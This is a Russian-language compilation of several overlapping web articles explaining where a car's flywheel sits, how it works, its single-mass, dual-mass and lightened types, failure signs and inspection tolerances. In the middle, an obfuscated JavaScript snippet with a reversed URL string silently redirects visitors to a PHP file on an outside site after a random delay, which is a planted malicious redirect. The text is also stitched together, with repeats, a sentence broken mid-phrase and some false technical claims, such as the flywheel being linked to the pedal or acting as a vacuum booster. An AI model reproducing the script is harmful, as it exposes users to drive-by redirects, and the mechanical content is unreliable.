Где стоит маховик в автомобиле

Маховик – деталь, которая входит в конструкцию современных ДВС, как бензиновых, так и дизельных. Стабильная работа силовой установки невозможна, если данная деталь выходит из строя или вовсе отсутствует. Несмотря на важность, она имеет довольно-таки простую конструкцию, поэтому с принципами ее работы разобраться достаточно просто.

Зачем нужен и где находится маховик в современном автомобиле

Маховик располагается на торцевой стороне коленчатого вала, рядом с задними подшипниками. Он требуется для того, чтобы двигатели внутреннего сгорания работали равномерно. Дело в том, что каждый такт двигателя осуществляется с небольшим промежутком. Поскольку этот промежуток минимальный, люди его просто не замечают. Также они не замечают этого, поскольку в конструкцию встроен маховик. Если бы не он, то движение было бы прерывистым. Соответственно, маховик требуется для того, чтобы стабилизировать крутящий момент.

Кстати, маховики используются не только в машине. Они устанавливаются на любое устройство, в котором имеется вращательный момент, и выполняет функцию стабилизации.

Что такое маховик в автомобиле

Маховик внешне напоминает достаточно широкий диск. Он закрепляется к коленвалу. У маховика большая масса. Чем больше и мощнее транспортное средство, тем больше должна быть масса этого устройства для нормальной стабилизации.

Также вес маховика зависит от того, сколько именно цилиндров используется в конструкции транспортного средства. Если их много, то собственный крутящий момент будет сравнительно равномерным. Но если их немного, тогда на маховик направлена более высокая нагрузка. Соответственно, чтобы ее выдерживать, он должен быть больше и прочнее.

Назначение маховика

Маховик в автомобиле отвечает за выполнение одновременно нескольких функций:

1. Равномерное распределение кинетической энергии, что гарантирует плавный ход транспортного средства.
2. Обеспечение стабильной работы сцепления. Маховик соединен с педалью, и когда водитель переключает передачи, на него передается сигнал. Он подстраивается под нужную скорость и количество оборотов, согласно выставленной передаче КПП.
3. Передача первичного крутящего момента от стартера, который требуется для запуска силовой установки.

Где находится маховик

Несмотря на то, что в современных двигателях маховики используются разные, у них имеются конструкционные и некоторые технические нюансы, они имеют одинаковое назначение и расположение. Деталь находится на задней части коленвала. Относительно силовой установки рассматриваемое устройство располагается снаружи. Его монтируют между КПП и двигателем.

Устройство маховика

Устройство маховика формируется в зависимости от вида, который используется на конкретном транспортном средстве. Самая простая модель комплектуется всего двумя деталями:

1. Диск.
2. Венец.

Но более сложные модели, которые в подавляющем большинстве используются на современных машинах, состоят уже из большего количества компонентов:

• Первичный диск.
• Ступица.
• Подшипник.
• Дуговая пружина.
• Венец.
• Фланец.
• Мембрана для уплотнения.
• Вторичный диск.
• Вентиляционные отверстия.
• Камера со смазочными материалами для нормальной работы всех перечисленных деталей конструкции.

Принцип работы маховика

Независимо от типа или разновидности маховика, принцип работы этого устройства достаточно простой. Формируется из нескольких этапов:

1. Сбор кинетической энергии.
2. Равномерное распределение.
3. Передача кинетической энергии на трансмиссию.

Колесо маховика крутится равномерно и без торможений, чего нельзя сказать о двигателе. Как сообщалось, он работает тактами, между которыми проходит несколько миллисекунд. Но эти рывки бы сильно ощущались, если бы крутящий момент не проходил стабилизацию маховиком, а направлялся сразу на колеса.

Как работает маховик

Работа маховика достаточно простая. Когда мотор запускается, начинает работать его поршневая система. Если поршень двигается, то маховик накапливает энергию. Когда создается новая горючая смесь, некоторое время поршень не находится в движении. В этот момент маховик передает энергию остальным узлам автомобиля. Таким образом, двигатель внутреннего сгорания передает кинетическую энергию на маховик, тот ее собирает, после чего равномерно передает остальным узлам машины, обеспечивая плавный ход.

Виды маховиков и особенности конструкции

На данный момент в современных автомобилях производители используют три вида маховиков:

1. Одномассовый.
2. Двухмассовый.
3. Облегченный.

Все они располагаются на задней стороне коленвала, и принцип работы у них одинаковый, но есть некоторые нюансы.

Одномассовый маховик

Маховик одномассовый является наиболее распространенным в современном автомобилестроении. Его изготавливают преимущественно из чугуна. Внешне он представляет собой металлический диск с диаметром около 40-ка см.

Внешняя сторона от коленчатого вала комплектуется венцом из стали. Он закрепляется по технологии напрессовки, поэтому устанавливается достаточно прочно для стабильной продолжительной работы. С внутренней стороны крепится к коленвалу посредством ступицы.

Благодаря надежной и простой конструкции передача крутящего момента выполняется плавно и стабильно. Но с колебаниями такое устройство справляется хуже двухмассового. Поэтому на крупных автомобилях, которые планируется эксплуатировать на бездорожье, такие обычно не устанавливаются.

Двухмассовый маховик с маятниковым гасителем колебаний

Это улучшенная модель демпферного маховика. Конструкция вмещает в себя не только основные элементы, как венец маховика, диски и прочие, но и специальный маятник. Главное достоинство такой системы заключается в том, что если диск сцепления не используется, автомобиль движется или просто греется на низких оборотах двигателя, вибрации и колебания будут гарантированно погашены. При этом снижается масса мотора, но сохраняется его уровень мощности.

Двухмассовый демпферный маховик

Устройство двухмассового демпферного маховика намного сложнее. Но он также располагается между сцеплением и двигателем. Его характерные достоинства:

1. Снижение вибраций, которые всегда передаются от двигателя к трансмиссии. Благодаря этому система трансмиссии служит дольше, поскольку ее износ снижается.
2. Минимизация шума.
3. Быстрое и облегченное переключение передач.
4. Защита системы трансмиссии от чрезмерной нагрузки.

Неисправности маховика и их признаки

Чтобы машина долго служила своему владельцу, ему необходимо учиться распознавать неисправности. Когда случаются поломки, автомобиль ведет себя нестабильно. Он подает сигналы водителю, и если вовремя их распознать, устранить неисправность можно будет с минимальными расходами.

Если ломается маховик, то наблюдаются следующие признаки:

1. Увеличивается вибрация, что сильнее ощущается на малых оборотах.
2. Плохая работа сцепления.
3. Двигатель запускается с большим трудом, а то и вовсе не запускается без посторонней помощи.
4. Наблюдаются рывки, когда переключаются скорости.
5. Появились посторонние шумы, которые, как и вибрация, становятся сильнее при движении или стоянке с заведенным двигателем на малых оборотах.

Однако проблема в том, что представленные симптомы могут проявляться и при других неисправностях. Поэтому самостоятельно и без нормальной диагностики крайне сложно локализовать неисправность. Поэтому не спешите менять маховик, лучше заехать на СТО, чтобы убедиться в наличии проблемы, а уже потом рассматривать варианты ее решения.

Итак, этот рассказ посвящается нескольким вопросам: где находится маховик, что это такое и какую роль он отыгрывает в жизни автомобиля.

По сути, маховик относится сразу к нескольким системам автомобиля. Он представляет собой некое связующее звено между мотором и трансмиссией.

Где находится маховик

Сам по себе классический маховик довольно прост. Это массивный металлический диск, имеющий диаметр порядка 30-40 сантиметров. Изготавливают его, как правило, из чугуна.

По внешней окружности этого круга располагается стальной обод с зубцами, именуемый венцом маховика. Зубчатая передача в данном узле отыгрывают очень важную роль, об этом чуть позже.

Найти маховик под капотом автомобиля с первого взгляда не получится. Расположена эта деталь в глубине двигателя и закрыта от посторонних глаз кожухами.

Если точнее, то место этого металлического диска на одном из концов коленчатого вала.

Крепится маховик к $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/chto-takoe-starter-v-avtomobile.html» target=»_blank» rel=»noopener noreferrer»>стартера с коленвалом.

Рассмотрим детальнее вышеперечисленные пункты. Одна из ключевых ролей маховика заключается в гарантировании плавной работы двигателя и гашении разного рода механических колебаний и вибраций.

Именно для этого диск изготавливают из тяжёлого чугуна. Главное здесь его масса, благодаря которой обеспечивается накапливание энергии и поддержание вращательного момента коленвала при помощи инерции.

Следующая роль не менее важная, маховик выступает как посредник между двигателем и коробкой передач и является частью механизма сцепления.

Вся мощность мотора и крутящий момент проходят через этот скромный, но тяжёлый диск и устремляются далее, через трансмиссию к колёсам.

И, наконец, последняя функция маховика. Немного ранее, описывая строение этой детали, мы упомянули о зубцах, располагаемых по внешней окружности диска, так называемый венец.

При помощи зубчатого венца, в момент, когда вы поворачиваете ключ в Не все маховики одинаковы

Развитие технологий и прогресс инженерной мысли не обошли стороной и классический маховик.

Конструкторы, в попытках найти эффективные методы гашения паразитных колебаний двигателя, начали создавать более сложные конструкции этого узла. Под капотами серийных автомобилей в конце 80-х годов прошлого столетия начали появляться разные маховики.

На сегодняшний день можно встретить такие разновидности данного элемента:

• сплошной (классический диск, наиболее широко используемый в автомобилестроении, именно о нём шла речь на протяжении всего нашего рассказа);
• двухмассовый (демпферный);
• облегчённый.

Сплошной маховик

О первой, самой распространённой конструкции мы уже говорили, поэтому перейдём сразу ко второй – наиболее интересной с точки зрении инженерии.

Двухмассовый маховик

Двухмассовый маховик – это, грубо говоря, два металлических диска, соединённые между собой специальной пружинной системой.

На такое ухищрение конструкторы пошли ради того, чтобы обезопасить трансмиссию от резких перегрузок. Чтобы максимально избавится от вибраций коленвала и двигателя, повысить удобство при переключении передач и прочих неприятностей.

Облегченный маховик

Облегченные варианты маховика уменьшают, естественно, механические потери, двигатель быстрее набирает максимальные обороты. Тратится меньше энергии для раскручивания, что дает небольшую экономию топлива, примерно 2 — 3 %, не более.

двигатель

Маховик — важная часть автомобильного двигателя, которая помогает сглаживать колебания и обеспечивать плавное вращение коленчатого вала. Он располагается между двигателем и коробкой передач и выполняет функцию балансировки двигателя.

Регулярная проверка и обслуживание маховика являются важными для предотвращения проблем и увеличения срока службы автомобиля. В данной статье мы рассмотрим, как работает маховик, какие проблемы могут возникнуть и как их предотвратить.

Где находится маховик двигателя

Маховик двигателя располагается между двигателем и коробкой передач. Он присоединен к коленчатому валу двигателя и обеспечивает сглаживание колебаний и балансировку вращения.

Точное расположение маховика может немного различаться в зависимости от типа двигателя и конструкции автомобиля, но обычно он находится в передней части двигателя, в непосредственной близости от сцепления.

Назначение маховика

Основное назначение маховика в двигателе — это сглаживание колебаний и обеспечение стабильности вращения коленчатого вала. Маховик служит своеобразной «буферной зоной», которая поглощает прерывистую работу цилиндров двигателя и создает равномерное вращение коленчатого вала.

Это позволяет уменьшить вибрации и обеспечивает более плавный и комфортный ход автомобиля. Благодаря маховику, двигатель работает эффективнее и имеет дольше срок службы. Также маховик играет важную роль в работе сцепления, поскольку облегчает включение и выключение передач.

Устройство и принцип работы маховика

Маховик — это устройство, которое состоит из двух основных элементов: внешней корпусной части и внутреннего массы, которая называется массой поворота. Корпус маховика жестко закреплен на коленчатом валу двигателя, и он служит для крепления сцепления и привода коробки передач.

Принцип работы маховика основан на законе сохранения энергии. При работе двигателя масса поворота маховика вращается вместе с коленчатым валом, накапливая кинетическую энергию.

Когда цилиндры двигателя подвергаются прерывистому воздействию силы взрыва, возникают неравномерности во вращении коленчатого вала. В этот момент масса поворота маховика накапливает избыточную энергию и сохраняет ее.

Когда возникает фаза двигателя без колебаний или даже обратного вращения, маховик начинает возвращать эту избыточную энергию. Он постепенно передает ее на коленчатый вал, сглаживая колебания и делая вращение более равномерным. Это позволяет двигателю работать стабильно и эффективно.

Значение маховика для работы автомобиля

Маховик играет ключевую роль в работе автомобиля, обеспечивая несколько важных функций. Во-первых, он помогает сглаживать колебания и балансировать вращение коленчатого вала двигателя.

Благодаря этому, двигатель работает более плавно и стабильно, что влияет на комфорт и безопасность во время езды. Во-вторых, маховик является своеобразным «буфером» между двигателем и коробкой передач.

Он позволяет сглаживать рывки и перепады скорости при переключении передач, обеспечивая плавное сцепление и улучшая процесс переключения передач. Благодаря маховику, передачи включаются более плавно и безопасно, уменьшая износ и повреждения трансмиссии.

Также маховик помогает снизить вибрации и силы, передаваемые на остальные части автомобиля. Это важно для компонентов подвески и силовых агрегатов, таких как генераторы и насосы, которые могут быть повреждены или сократить срок службы без должного сглаживания колебаний.

И, наконец, маховик способствует эффективной работе двигателя. Благодаря сглаживанию колебаний и балансированию вращения, двигатель работает более стабильно и позволяет достичь оптимальной мощности и экономии топлива. Без маховика, двигатель мог бы работать неэффективно и терять в производительности.

Важность маховика в правильной работе двигателя

Маховик является критической составной частью правильной работы двигателя и важен по нескольким причинам.

• Во-первых, маховик помогает сглаживать колебания, возникающие в результате последовательных взрывов в цилиндрах двигателя. Путем накопления и отдачи избыточной энергии маховик позволяет достичь равномерного вращения коленчатого вала. Это существенно снижает вибрации во время работы и повышает комфорт для водителя и пассажиров.
• Во-вторых, маховик служит важной ролью в сцеплении трансмиссии. Он предоставляет стабильную базу для работы сцепления и приводит во вращение коробку передач. Без правильного функционирования маховика, сцепление может столкнуться с трудностями или даже полностью аварийно выйти из строя.
• Кроме того, маховик помогает защитить другие компоненты двигателя от повреждений. Сглаживая колебания, он снижает нагрузку и уменьшает риск поломки насосов, генераторов и других агрегатов, также снижает нагрузку на подвеску и другие системы автомобиля.
• Важно отметить, что наличие и правильная работа маховика являются ключевыми для оптимальной производительности двигателя. Без него, двигатель может стать неравномерным, менее эффективным и даже привести к серьезным повреждениям.

Поэтому регулярное обслуживание и проверка маховика необходимы для поддержания его надлежащей работы и продолжительности службы двигателя.

Заключение

Маховик является существенной и незаменимой частью автомобильного двигателя. Он выполняет функцию сглаживания колебаний и балансировки вращения коленчатого вала, обеспечивая плавный и стабильный ход двигателя.

Регулярная проверка и обслуживание маховика являются необходимыми для предотвращения возможных проблем, таких как вибрации двигателя и проблемы с сцеплением.

Имея в виду важность правильной работы маховика, следует не забывать о его регулярном обслуживании, чтобы продлить срок службы автомобиля и гарантировать его безопасность и эффективность на дороге.

Каждый силовой агрегат оснащен массивной деталью кривошипно-шатунного механизма, и называется маховиком или маховым колесом. Это важный и функциональный элемент, который применяется для современных моторов, действующих на бензине и дизеле. Он имеет достаточно простое устройство, но при этом имеет важное значение для конструкции любого грузового автомобиля.

Что такое маховик

Маховик — обычное колесо, за счет которого снижается неравномерность вращений коленчатого вала. Этот компонент обеспечивает передачу крутящего момента от ДВС и стартерного механизма на коробку передач.

Деталь имеет форму диска и может быть нескольких видов: одномассовая, двухмассовая и облегченная. Именно от типа зависит функционирование основных механизмов грузового автомобиля. Дисковый элемент производит связывание коленчатого вала и деталей под капотом машины. При возникновении неисправности обычно маховое колесо меняется на другое, часто его восстановление оказывается невозможным.

Маховик имеет несложную конструкцию. Он изготовлен в форме утяжеленного дискового элемента или колеса, у которого предусмотрен зубчатый край. Часто в качестве материала используется чугунная основа. В диаметре колесо может быть 35-40 см. Оно зафиксировано на задней части коленчатого вала.

Маховик имеет и научное название — накопительный элемент с кинетическим энергетическим потенциалом, который он преобразует в энергию крутящего момента. Маховые колеса могут использоваться не только в сфере производства машин и оборудования, но также и в других сферах.

Список товаров:

Главная функция маховика двигателя — поддержание плавного перенаправления крутящего момента. Для этого на область механизма помещают корзину со сцеплением. Она закрепляет диск, поддерживает сцепление с узлами системы. Данное изделие помогает передать крутящий момент от силового агрегата на другие узлы, и за счет этого колеса автомобиля начинают двигаться.

Где находится маховик в автомобиле?

Маховик в машине установлен на области коленчатого вала, но увидеть его сразу не получится. Этот элемент установлен в глубине устройства мотора, для его защиты применяются особые кожухи.

Конструктивная деталь присутствует в области конца коленчатого вала, а раскручивается он за счет поршневых компонентов мотора. Между деталями предусмотрено прочное крепление. Это обязательное условие, так как маховое колесо постоянно испытывает высокие нагрузки, и если бы не было дополнительной защиты, то оно быстро бы вышло из строя.

Маховик коленвала производится из сплава с содержанием чугуна. Этот металл имеет большую массу, и именно это обеспечивает требуемый объем энергетического потенциала. Этот фактор помогает сдерживать вращательный момент благодаря инерционным силам.

Список товаров:

Маховое колесо в машине — вакуумный усилительный компонент сцепления, который обеспечивает связывание коробки передач и ДВС. За счет активной работы диска создается высокая мощность и показатели крутящего момента, которые могут передаваться на колеса.

Для чего требуется маховик в двигателе?

Маховик помогает устранять вибрационные воздействия, которые проявляются при вращении кривошипно-шатунных механизмов. Приборы могут дополняться блоками с пружинами, они выполняют функции демпфера во время резких и сильных рывков силового агрегата.

Так какую роль играет маховик в двигателе? Благодаря ему снижаются колебательные действия со стороны ДВС, которые могут перейти в кузов машины. Двигатель работает равномерно, не наблюдается резких рывков. Силовой агрегат может работать настолько тихо, что его функционирование можно заметить только по тахометру.

Список товаров:

Другие функции маховика у грузовиков:

• Передает энергетический потенциал крутящего момента от малой шестерни стартерного механизма на область большой шестерни коленчатого вала во время запуска силового агрегата. Все это обеспечивается за счет зубчатого венца, который находится на внешней окружности махового колеса.
• Обеспечивает выравнивание угловых скоростных показателей коленчатого вала. Движение коленчатого вала осуществляется достаточно медленно, поэтому машина передвигается без рывков.
• Маховое колесо обеспечивает передачу крутящего момента от коленчатого вала на сцепление, коробку передач. И вся мощность силового агрегата проходит через маховик и трансмиссию, а уже после переходит на колеса машины.
• Маховое колесо создает определенную инерционную силу, она помогает вывести поршневые компоненты из верхних и нижних мертвых зон. Все это положительно отражается на функционировании двигателя, он начинает работать равномерно, без сильных рывков в цилиндрах, когда наблюдается горение топливно-воздушной смеси.

Виды маховиков

Для современных автомобилей могут применяться разные виды маховиков, они обладают определенными характеристиками и параметрами. Выделяют три основных типа данных элементов:

• Одномассовые.
• Двухмассовые.
• Облегченные.

Одномассовые

Одномассовое маховое колесо является цельнолитым изделием, которое имеет достаточно простую конструкцию. Этот вариант имеет широкое распространение, это связано с его высокой надежностью и низкой стоимостью.

В центральной части детали имеется диск с диаметром примерно 30-40 см, посередине предусмотрено отверстие — посадочное место для установки. Посадочная зона выполнена в виде ступицы с большим отверстием в центре. А также имеются мелкие отверстия по всей окружности, которые обеспечивают максимально надежную фиксацию, для этого используются специальные болты.

На наружной области имеется место для установки сцепления, а также контактная кольцевая платформа. На внешней стороне диска имеется большое количество зубцов из стальной основы, которые выполнены с применением технологии прессования.

Двухмассовые

Данные маховые колеса применяются в автомобилях, в которых предусмотрены силовые агрегаты с высокими показателями мощности. Конструкция включает два диска, которые помещены в один корпус. Диски приходят в зацепление при помощи демпфирующей системы.

По сравнению с одномассовыми, двухмассовые маховики имеют ряд плюсов:

• обеспечивают подавление колебаний, толчков;
• поддерживают удобное и быстрое подключение передач;
• увеличивают период службы синхронизационных компонентов;
• уменьшают изнашивание трансмиссионной системы;
• снижают расход топлива.

Облегченные

Такие маховики для грузовиков обычно используются при проведении тюнинга машины. Облегченные маховики имеют небольшую массу, повышают показатели производительности силового агрегата и снижают инерцию.

Маховое колесо облегченного типа улучшает динамические показатели автомобиля, быстро отзывается на педаль газа. Но использовать такое маховик можно только с учетом показателей двигателя. Чтобы он выполнял требуемые функции, обязательно должны быть проведены дополнительные работы по усовершенствованию других технических показателей машины.

Список товаров:

Заключение

Назначение маховика в автомобиле заключается в поддержании полноценной работы мотора, трансмиссии и других узлов. Данный элемент передает крутящий момент на колеса, но при этом он снижает вибрационные нагрузки, поддерживает равномерное функционирование силового агрегата, предотвращает резкий запуск, появление инерционной силы, которая может перейти на кузов автомобиля.

При работе двигателя, коленчатый вал двигается рывками. С задачей накопления и плавной передачи энергии справляется неброский и визуально простой маховик. Разберемся, что такое маховик, какие функции в автомобиле он выполняет, каким может быть, как его проверить.

Подробно о маховике двигателя

Маховичный накопитель кинетической энергии (упрощенное название маховик) – это устройство стабилизирующее крутящий момент, установленное на торце коленчатого вала.

Принцип работы основан на аккумулировании кинетической энергии, вырабатываемой силовым агрегатом. После сбора требуемого количества энергии, она перераспределяется на элементы трансмиссии машины. Что приводит ее в движение.

Стабилизация крутящего момента требуется из-за наличия промежутков между тактами ДВС. Человек не чувствует минимального по времени промежутка в работе тактов. Но если бы отсутствовал маховик, автомобиль бы двигался рывками.

Общая информация

На первый взгляд маховик довольно просто устроен — это тяжелый диск с довольно большим диаметром. Масса устройства зависит от габаритов машины, мощности и количества цилиндров двигателя. Чем меньше цилиндров в ДВС, тем большая нагрузка воздействует на маховик. Что сопровождается увеличением габаритов и массы механизма относительно размера мотора.

Назначение маховика – накопление кинетической энергии, подаваемой рывками, с дальнейшим плавным, равномерным распределением. Накопление энергии идет от движущихся вверх поршней, а распределение – при достижении ими мертвой точки.

Что делает

Разберемся, как работает маховик:

• Зубчатый венец отводит энергию вращающего момента от бендикса стартера к коленчатому валу при пуске двигателя.
• Обеспечивает плавное движение автомобиля, выравнивая угловую скорость коленчатого вала. При прямой передаче вращающего момента от ДВС к колесам, машина двигалась бы с ощутимыми рывками.
• Передача крутящего момента с коленчатого вала на сцепление и КПП – мощность двигателя прикладывается к маховику, передаваясь на колеса транспортного средства через трансмиссию.
• Способствует выводу поршней из нижней и верхней мертвой точки – перемещение поршневой группы обеспечивается инерционной силой. В итоге стабилизируется работа двигателя, отсутствуют резкие рывки при загорании топлива.
• Демпфер – поглощает вибрационные, колебательные волны от коленвала и двигателя.

Где располагается

Конструктивное исполнение и технические моменты современных маховиков различны. Идентичным остается функционал и место установки.

Уточним, где находится маховик. Механизм устанавливается в промежутке между ДВС и трансмиссией, на задней части коленчатого вала. По отношению к ДВС механизм смонтирован снаружи.

Устройство

Простейшая конструкция маховика – это диск и зубчатый венец. Современные вариации устройства более сложны. Корпус маховика дополнительно комплектуется следующими элементами:

• первичный и вторичный диск
• ступица
• подшипник
• дуговая пружина
• уплотнительная мембрана
• венец
• фланец
• отверстия для вентилирования
• кольцевая камера, заполненная смазкой, для обработки трущихся поверхностей.

Разновидности и различия в конструкции маховиков

Сейчас автопроизводители используют разные виды маховиков. Рассмотрим доступные модификации и их особенности.

Одномассовый

Маховик одномассовый конструктивно состоит из чугунного или другого вида металла диска, диаметром около 40 сантиметров.

Наружная сторона укомплектована стальным венцом. Фиксация к коленчатому валу выполнена ступицей, расположенной с внутренней стороны. Венец крепится к диску прессовкой, что обеспечивает длительную и надежную работу.

Конструктивная простота одномассового механизма – залог долгой работы. Но механизм плохо погашает колебания, по сравнению с двухмассовым устройством.

Двухмассовый демпферный

Двухмассовый (демпферный) маховик обладает более сложной конструкцией. Устройство состоит из двух базовых элементов – ведущий и ведомый диск. Условно, одномассовую конструкцию укомплектовали дополнительным корпусом, соединяющимся с трансмиссией. Междисковое пространство оснащено гасителем вращательных колебаний (пружины, сепараторы из пластика, смазочный материал и т.д.).

Передача крутящего момента от ведущего диска к ведомому осуществляется упругими пружинами. Они погашают вибрационные и колебательные волны. Этим обусловлено название демпферный маховик. К преимуществам данного вида механизма относятся:

• защита трансмиссии от перегрузок
• отличный показатель гашения вибрационных волн;
• нормализация работы силового агрегата
• снижение потребления топлива, износа синхронизаторов, шумности в салоне
• мягкое и комфортабельное переключение передач.

Несмотря на многочисленные плюсы, конструкция двухмассовых маховиков имеет и отрицательные стороны. Среди них:

• цена много выше одномассовых вариантов
• надежность ниже
• быстрый износ под воздействием повышенных нагрузок и температур, при езде на пониженных оборотах
• не ремонтопригодность.

Двухмассовый с маятниковым гасителем колебаний

Модернизированная версия демпферного маховика, дополненная маятниковым гасителем колебаний. Центробежный маятник – это грузики, расположенные по окружности маховика.

При работе двигателя на низких оборотах, грузики раскачиваются под влиянием центробежной силы. Колебательные волны погашаются в противофазе тем, что гасятся пружинами. Этим удается погасить всю вибрацию, проявляющуюся при пониженных оборотах силового агрегата. В результате коленчатый вал в любых режимах крутится равномерно.

Для функционирования маятникового гасителя колебаний не нужно дополнительного пространства. Дополнительный элемент двухмассового маховика улучшает демпферные свойства, повышает производительность ДВС, обеспечивает снижение расхода топлива и комфорт движения.

Разработка модернизированной версии механизма с маятниковым гасителем колебаний обусловлена стремлением к уменьшению габаритов двигателя. Но без потери уровня мощности. При этом расширяется диапазон крутящегося момента путем задействования пониженных оборотов.

Устройство с маятниковым гасителем занимает мало пространства. Внутренний демпфер является составной частью механизма, что позволяет монтировать механизм на ДВС любой модификации с МКПП, АКПП или вариатором.

Минусом является наличие шумов при работе, что блокирует возможность фиксации повреждения на слух. Они образуются из-за вращения внутреннего демпфера в маховике.

Облегченный

Облегченный маховик является доработанной версией одномассового. Доработка сводится к уменьшению массы диска. Это достигается снятием металла в центральной части диска или вырезанием отверстий.При распределении основной массы маховика на краях отмечается нестабильное функционирование силового агрегата в переходных режимах. Концентрация веса в центральной части махового колеса стабилизирует работу ДВС. Но наблюдаются проблемы с разгоном.

Облегченные маховики нередко применяются для тюнинга автомобиля. Снижение массы позволяет вывести мотор на максимальные обороты быстрее, а также повысить КПД на пять процентов. Метод эффективен только при условии модернизации вспомогательных элементов двигателя. Дополнительно потребуется настройка силового агрегата и трансмиссии. Монтаж исключительно облегченного маховика сопровождается отклонениями в работе двигателя. Они особенно проявляются на пониженных оборотах, а на повышенных практически незаметны.

К минусам облегченных маховиков относится низкая надежность и небольшой эксплуатационный ресурс.

 Загрузка …

Признаки неисправностей

При эксплуатации маховик в автомобиле подвергается повышенным нагрузкам. Что может привести к поломке устройства. Среди основных признаков неисправности:

• поскрипывание в момент пуска и остановки силового агрегата
• изменение реакции на работу сцепления
• мягкие постукивания на холостом ходу
• чрезмерная вибрация при старте автомобиля с места
• ощущение вибрации или рывков на педали сцепления
• толчки при переключении передач
• вибрация при разгоне
• грохот, удары и другие посторонние звуки со стороны махового колеса
• проявление вибрационных колебаний, даже после остановки двигателя
• ощущение пульсирования в тормозной педали
• периодически плавают обороты
• невозможность передвижения из-за повышенной вибрации на коробке передач.

Частые поломки маховика

К основным видам повреждений маховика относятся:

• Изношенность венца – зубья с течением времени истираются, что приводит к трудностям запуска мотора. Довольно проблематично пустить ДВС с первого раза.
• Нарушение центровки – должно строго соблюдаться нахождение маховика и диска сцепления на одной оси. При нарушении центровки образуется биение.
• Изношенность диска – механизм подвергается повышенным нагрузкам, т.к. работает со сцеплением. Постепенно рабочая поверхность стирается, образуются углубления и задиры. Площадь соприкосновения трансмиссионных дисков снижается, работоспособность сцепления ухудшается.
• Изношенность крепежа коленчатого вала – посадочное место под коленчатый вал, также подвергается высоким нагрузкам. Постепенно формируется люфт, сопровождающийся посторонними шумами при движении.

Помимо перечисленных неисправностей, для двухмассовых маховиков характерны поломки подшипников и пружин. Как правило, неисправные устройства меняются в сборе. Но в теории, механизм можно отремонтировать.

Ресурс

Маховик двигателя двухмассового типа обладает ресурсом в 150,000-200,000 км пробега.

Нередко в указанный промежуток возникает необходимость в смене сцепления. При выполнении данной операции, следует оценить состояние маховика. Велика вероятность, что на механизме уже образовался зазор, люфт, который приведет к поломке. Конкретный ресурс и допустимые критерии по износу предоставляются заводами изготовителями.

Как увеличить ресурс

Несоблюдение рекомендаций по эксплуатации автомобиля сопровождается снижением ресурса маховика. Для увеличения срока использования махового колеса, не стоит проделывать следующие операции:

• Передвигаться по бездорожью на пониженных оборотах – это приводит к перегрузке демпферной системы.
• Резко трогаться с места, независимо от уровня оборотов.
• Часто ездить с прицепом, это также снижает срок работы.
• Резко отпускать педаль сцепления.
• Пробуксовывать.
• Часто пускать и глушить двигатель.
• Трогаться с места на повышенной передаче.
• Ездить агрессивно с резкими ускорениями и торможениями.
• Заниматься чип-тюнингом силового агрегата.

Самостоятельная диагностика маховика

Проверка осуществляется при движении на самой высокой передаче, удерживая обороты в районе 1300 в минуту. Затем резко и до упора выжимается педаль акселератора. Исправность маховика подтвердит отсутствие посторонних шумов и вибрации. Такой вид диагностирования приводит к повышенным нагрузкам на механизм. Не стоит пользоваться им часто.

Общие рекомендации для проверки двухмассового маховика

LUK	Sachs
Свободный ход
Допустимо перемещение до 7 зубьев, 20° максимум. Люфт более чем на 8 зубьев — маховик неисправен.	Перемещение на 3 зуба допустимо. Если обе массы смещаются больше чем на 4 зуба, маховик нужно менять.
Радиальный люфт
Максимум 1,6 для двухмассового маховика с шариковым подшипником. Максимум 2,9 для подшипников скольжения.	Радиальный не более 0,15 мм.
Ни при каких обстоятельствах не должно быть ударов между дисками.
Общие положения при проверке
Не должно быть посторонних звуков при вращении.
Усилие пружин равномерное в обе стороны.
Усилие пружин нарастает плавно.
Радиальный люфт (смещение одной массы относительно другой) минимален

Какой маховик купить

Для подбора маховика используется следующая информация:

• идентификационный номер транспортного средства (VIN-код)
• марка, модель машины
• код двигателя.

Фирмы LUK и Sachs являются конструкторами двухмассового маховика. В большинстве случаев их продукция используется при производстве машин. Маховик фирмы LUK и Sachs беспроблемно используется в качестве аналога, особенно если стоимость оригинала существенно выше.

Для смены маховика одномассового типа, следует применять идентичную по конструкции запасную часть.

Тюнинг с использованием облегченного маховика должен предусматривать дополнительную настройку ДВС или замену отдельных элементов.

Двухмассовый маховик, также меняется на запасную часть идентичной конструкции. Но есть исключения. Нередко отдельные фирмы предлагают вариант смены на доработанную версию одномассового маховика. Например, Valeo.

Рациональность такой замены ставится под сомнение отдельными экспертами. Так специалисты компании LUK и Sachs утверждают, что одномассовый маховик не способен выдержать вибрацию и вращательные колебания, на которое рассчитано двухмассовое маховое колесо. Также снижается ресурс трансмиссии и вспомогательных элементов.

Если материал был полезен, напишите комментарий. Если оказался бесполезен или неточен, тем более пишите.

В любом поршневом двигателе внутреннего сгорания можно найти массивную деталь кривошипно-шатунного механизма и других смежных систем — маховик. Все о маховиках, их существующих типах, конструкции и принципе работы, а также о выборе, ремонте и замене данных деталей — читайте в представленной статье.

Роль и место маховика в двигателе

Маховик (маховое колесо) — узел кривошипно-шатунного механизма (КШМ), сцепления и системы запуска поршневого ДВС; расположенный на хвостовике коленчатого вала металлический диск большой массы с зубчатым венцом, обеспечивающий стабильное функционирование мотора за счет накопления и последующей отдачи кинетической энергии.

Работа поршневых ДВС неравномерна — в каждом из его цилиндров за два оборота вала совершается четыре такта, и в каждом такте скорость движения поршня различна. Для устранения неравномерности вращения коленвала одинаковые такты в разных цилиндрах разнесены во времени, также в состав КШМ вводится дополнительный узел — маховик, выполненный в виде массивного металлического колеса, зафиксированного на задней части коленвала.

Маховик решает несколько ключевых задач:

• Обеспечение равномерности угловой скорости коленчатого вала;
• Обеспечение вывода поршней из мертвых точек;
• Передача крутящего момента от коленчатого вала на механизм сцепления и далее на КП;
• Передача крутящего момента от шестерни стартера на коленвал при пуске силового агрегата;
• Некоторые типы деталей — гашение крутильных колебаний и вибраций, развязка КШМ и трансмиссии транспортного средства.

Маховик в сборе с коленчатым валом двигателя

